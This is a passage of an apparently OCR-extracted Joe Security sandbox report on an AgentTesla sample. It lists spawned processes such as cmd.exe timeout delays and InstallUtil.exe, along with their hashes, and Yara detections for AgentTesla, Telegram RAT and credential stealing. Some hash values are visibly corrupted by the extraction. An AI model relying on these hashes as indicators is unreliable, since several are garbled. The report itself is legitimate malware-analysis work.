00000015.00000002.461894221.000000000302E000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
e Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source:
00000015.00000002.463052631.0000000003FE1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
e Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source:
00000015.00000002.463052631.0000000003FE1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security

Reputation: low

Analysis Process: BackgroundTransferHost.exe PID: 3896, Parent PID: 756

General

Target ID: 22

Start time: 18:20:12

Start date: 23/06/2022

Path: C:\Windows\System32\BackgroundTransferHost.exe

Wow64 process (32bit): false

Commandline: "BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1
Imagebase: 0x7ff7db6c0000

File size: 36864 bytes

MD5 hash: 02BA81746B929ECCIDB6665589B68335

Has elevated privileges: false

Has administrator false

privileges:

Programmed in: C, C++ or other language
Reputation: moderate

Analysis Process: cmd.exe PID: 2292, Parent PID: 6984

General

Target ID: 23

Start time: 18:20:14

Start date: 23/06/2022

Path: C:\Windows\SysWOW64\cmd.exe

Wow64 process (32bit): true

Commandline: "C:\Windows\System32\cmd.exe" /c timeout 20
Imagebase: 0xc20000

File size: 232960 bytes

MD5 hash: F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges: false

Has administrator false

privileges:

Programmed in: C, C++ or other language

Reputation: high

Copyright Joe Security LLC 2022
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Analysis Process: conhost.exe PID: 2168, Parent PID: 2292

General
Target ID:
Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Reputation:

24

18:20:15

23/06/2022

C:\Windows\System32\conhost.exe

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
0x7ff7c9170000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496

false

false

C, C++ or other language

high

Analysis Process: timeout.exe PID: 4400, Parent PID: 2292

General
Target ID:
Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Reputation:

25

18:20:18

23/06/2022
C:\Windows\SysWOW64\timeout.exe

true

timeout 20

0x13e0000

26112 bytes
121A4EDAEGOA7AF6FSDFA82F7BB95659
false

false

C, C++ or other language

high

Analysis Process: cmd.exe PID: 5872, Parent PID: 5632

General
Target ID:
Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Reputation:

26

18:20:24

23/06/2022

C:\Windows\SysWOWe64\cmd.exe

true

"C:\Windows\System32\cmd.exe" /c timeout 20
0xc20000

232960 bytes
F3BDBE3BB6F734E357235F4D5898582D
false

false

C, C++ or other language

high

Analysis Process: conhost.exe PID: 5960, Parent PID: 5872

General

Target ID:

27

Copyright Joe Security LLC 2022
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Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Reputation:

18:20:25

23/06/2022

C:\Windows\System32\conhost.exe

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
0x7ff7c9170000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496

false

false

C, C++ or other language

high

Analysis Process: timeout.exe PID: 3952, Parent PID: 5872

General

Target ID:

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

28

18:20:25

23/06/2022
C:\Windows\SysWOW64\timeout.exe

true

timeout 20

0x13e0000

26112 bytes
121A4EDAE60A7AF6F5DFAB82F7BB95659
false

false

C, C++ or other language

Analysis Process: InstallUtil.exe PID: 5096, Parent PID: 6984

General

Target ID:

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

35

18:20:39

23/06/2022

C:\Windows\Microsoft. NET\Framework\v4.0.30319\InstallUtil.exe
true
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
0xaa0000

41064 bytes

EFEC8C379D165E3F33B536739AEE26A3

false

false

.Net C# or VB.NET

Copyright Joe Security LLC 2022
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Yara matches: e Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source:
00000023.00000000.439095104.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
e Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source:
00000023.00000000.439095104.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
e Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source:
00000023.00000000.440160932.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
e Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source:
00000023.00000000.440160932.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
e Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source:
00000023.00000002.461376169.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
e Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source:
00000023.00000002.461376169.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
e Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source:
00000023.00000000.439743779.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
e Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source:
00000023.00000000.439743779.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
e Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source:
00000023.00000000.438645429.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
e Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source:
00000023.00000000.438645429.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
e Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source:
00000023.00000002.462835712.0000000002F41000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
e Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source:
00000023.00000002.462835712.0000000002F41000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
e Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source:
00000023.00000002.462835712.0000000002F41000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security

Analysis Process: InstallUtil.exe PID: 3896, Parent PID: 5632

General

Target ID: 36

Start time: 18:20:46

Start date: 23/06/2022

Path: C:\Windows\Microsoft. NET\Framework\v4.0.30319\InstallUtil.exe

Wow64 process (32bit):

Commandline:

false

C:\Windows\Microsoft. NET\Framework\v4.0.30319\InstallUtil.exe

Imagebase: 0x2c0000

File size: 41064 bytes

MD5 hash: EFEC8C379D165E3F33B536739AEE26A3
Has elevated privileges: false

Has administrator false

privileges:

Programmed in:

C, C++ or other language

Analysis Process: InstallUtil.exe PID: 1296, Parent PID: 5632

General

Target ID: 37

Start time: 18:20:48

Start date: 23/06/2022

Path: C:\Windows\Microsoft. NET\Framework\v4.0.30319\InstallUtil.exe

Wow64 process (32bit):

true

Commandline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Imagebase: 0x730000

File size: 41064 bytes

MD5 hash: EFEC8C379D165E3F33B536739AEE26A3

Has elevated privileges: false

Has administrator false

privileges:

Programmed in:

.Net C# or VB.NET

Copyright Joe Security LLC 2022
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Yara matches: .

Disassembly

@ No disassembly

Copyright Joe Security LLC 2022

Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source:

00000025.00000000.457726338.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author:

Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source:

00000025.00000000.457726338.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author:

Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source:

00000025.00000000.458487817.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author:

Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source:

00000025.00000000.458487817.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author:

Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source:

00000025.00000002.515244386.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author:

Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source:

00000025.00000002.515244386.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author:

Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source:

00000025.00000000.458149795.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author:

Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source:

00000025.00000000.458149795.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author:

Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source:

00000025.00000000.459235290.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author:

Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source:

00000025.00000000.459235290.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author:

Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source:

00000025.00000002.517983992.0000000002A31000.00000004.00000800.00020000.00000000.sdmp, Author:

Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source:

00000025.00000002.517983992.0000000002A31000.00000004.00000800.00020000.00000000.sdmp, Author:

Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source:

00000025.00000002.517983992.0000000002A31000.00000004.00000800.00020000.00000000.sdmp, Author:

Joe Security
Joe Security
Joe Security
Joe Security
Joe Security
Joe Security
Joe Security
Joe Security
Joe Security
Joe Security
Joe Security
Joe Security

Joe Security
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